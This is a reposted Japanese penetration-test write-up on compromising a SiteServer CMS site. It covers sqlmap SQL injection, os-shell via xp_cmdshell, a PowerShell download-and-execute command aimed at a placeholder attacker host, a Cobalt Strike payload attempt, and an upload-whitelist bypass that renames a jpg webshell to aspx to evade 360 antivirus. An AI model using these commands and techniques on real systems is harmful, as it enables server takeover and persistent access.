ホームページ  >  記事  >  運用・保守  >  mssql インジェクション + ホワイトリスト アップロードによるバイパス 360 の分析例

mssql インジェクション + ホワイトリスト アップロードによるバイパス 360 の分析例

王林
王林転載
2023-05-12 14:37:211639ブラウズ

情報収集:

このサイトはvue aspx iis8.5を使用して構築されています。サイトのログインボックスにはバージョン番号があり、URL 欄に siteserver という文字が表示されているため、cms で構築されたものと思われますが、cms を見たことがありません。Google 検索で確認したところ、このサイトは で構築されていることがわかりました。 siteserver cms. バージョンは最新で、インターネット上に脆弱性があります。ここでは使用できません。ログイン ボックスに、不正な手段などを回避するために弱いパスワードの確認コードを挿入しようとしましたが、効果はありませんでした。私はテスト アカウントを持っているので、テストのためにサイトに直接ログインしました。

写真はインターネットで見つけたログイン画像です。赤いボックスは cms プロンプトではなくバージョン番号でした。

mssql インジェクション + ホワイトリスト アップロードによるバイパス 360 の分析例

機能テスト:

バックグラウンドに入った後、機能を簡単に調べましたが、これは主にページ管理機能です。詳細はこちら この記事は主に注入ポイントから始まります。

1: アップロード ポイントのテスト: アバター、通常のドキュメント ファイル、エディターのアップロードなど、さまざまな場所にアップロードがありますが、テスト後、アップロード機能がホワイトリストによって制限されているため、アップロード ポイントを放棄することにしました結局のところ、アップロードできたとしても、iis のバージョンが高すぎるため、jpg をアップロードしても解析できません。 (しかし、後で iis8.5 が解析の脆弱性をうまく利用したという記事を目にしました)。

2: 「バッチ ソート」機能でパケットをキャプチャします。

mssql インジェクション + ホワイトリスト アップロードによるバイパス 360 の分析例mssql インジェクション + ホワイトリスト アップロードによるバイパス 360 の分析例

検索ポイントのキーワード パラメータに対して SQL インジェクション テストを実行し、見つかったエラーが発生したので、データパケットを直接コピーしてsqlmapにスローして実行しました。 python sqlmap.py -r 1.txt .

mssql インジェクション + ホワイトリスト アップロードによるバイパス 360 の分析例

スタックされたクエリと dba 権限があることがわかりました。 --os-shell コマンドを直接使用して、 xp_cmd を開いてシェルを取得します。whoami コマンドを使用して、現在の権限が直接最高権限である NT AUTHORITY\SYSTEM であることを確認します。満足しています。これらの穴やその他の点に加えて、元々クリーンアップしており、この侵入は終了しました。 。

イントラネットに入る:

しかし、これほど高い権限があるのに、イントラネットに入らないのは不合理です。私は当初、非常に単純なことを考えていました。

vps を開き、CS を起動し、powershell horse を生成し、os-shell を実行し、オンラインになるまで待機します。結果、エラーが表示されます:

powershell -NoProfile -ExecutionPolicy Bypass -Command "IEX ((new -object net .webclient).downloadstring('http://xxx:port/a'))"

mssql インジェクション + ホワイトリスト アップロードによるバイパス 360 の分析例

最初に、マシンが接続できるかどうかを確認します。 vps と dnslog には問題がなかったので、cmd コマンドを使用して powershell を実行しようとしました:

cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "IEX (( new-object net.webclient).downloadstring('http://xxx:port/a'))"

同じエラーがまだ報告されていることがわかりました。引用符の問題ではないかと思いました。 cmd で引用符をエスケープするために Baidu を検索し、^ を使用しましたが、結果はまだ機能しませんでした。

mssql インジェクション + ホワイトリスト アップロードによるバイパス 360 の分析例

その後、隣の上司が Windows Server 2012 r2 に PowerShell リモート ダウンロード実行ポリシーが設定されているかどうか尋ねてきたので、Get-ExecutionPolicy を使用して確認し、Set を使用しようとしました-ExecutionPolicy をオンにします。以下はローカルのデモです (実際の環境のスクリーンショットを忘れました):

mssql インジェクション + ホワイトリスト アップロードによるバイパス 360 の分析例

#詳細については、この記事を参照してください: https ://blog.netspi.com/15-ways-to- bypass-the-powershell-execution-policy/

最終的に、実際の環境で PowerShell 実行ポリシーを変更することに成功しましたが、それでも失敗しました。このとき、ふとウイルス対策ソフトのせいでトラブルが起きているのではないかと思い、タスクリストを確認してみたところ、確かに360度プロテクションが存在することが分かりました(スクリーンショットはありません)。

360 が確かに役割を果たしていると推測されています。現時点で最初に考えられるのは、アンチソフトウェアをバイパスすることです。私はこれまでにアンチソフトウェアなどのツールにさらされたことがありません。http://jackson- t.ca/runtime-exec -payloads.html に powershell コマンドを直接エンコードしましたが、うまくいきませんでした。そうしないと、別の馬を借りることになり、他の人に迷惑をかけることになります。

この時、ふとファイルをアップロードするためにsqlmapを書こうと思ったのですが、mssqlにはmysqlと同じ機能がありません(後で上司にsqlmapでもos-shellでファイルをアップロードできると聞きました(生意気な操作)) )で、さっきテストしてみたら多くのファンクションポイントにファイルアップロード機能があったことを思い出し、ホワイトリストには載っていたものの、写真をドロップしてすぐにアップロードしても全く影響はありませんでした。氷サソリの絵馬 bingxie.jpg をアバター アップロード エリアに直接アップロードし、os シェルの copy コマンドを使用して copy d:\abc\img\bingxie.jpg d:\abc\img の名前を変更します。 \bingxie .aspx。次に、Ice Scorpion を使用して接続すると、間違いなく正常にオンラインになり、ショーが完了します。

mssql インジェクション + ホワイトリスト アップロードによるバイパス 360 の分析例

以上がmssql インジェクション + ホワイトリスト アップロードによるバイパス 360 の分析例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はyisu.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。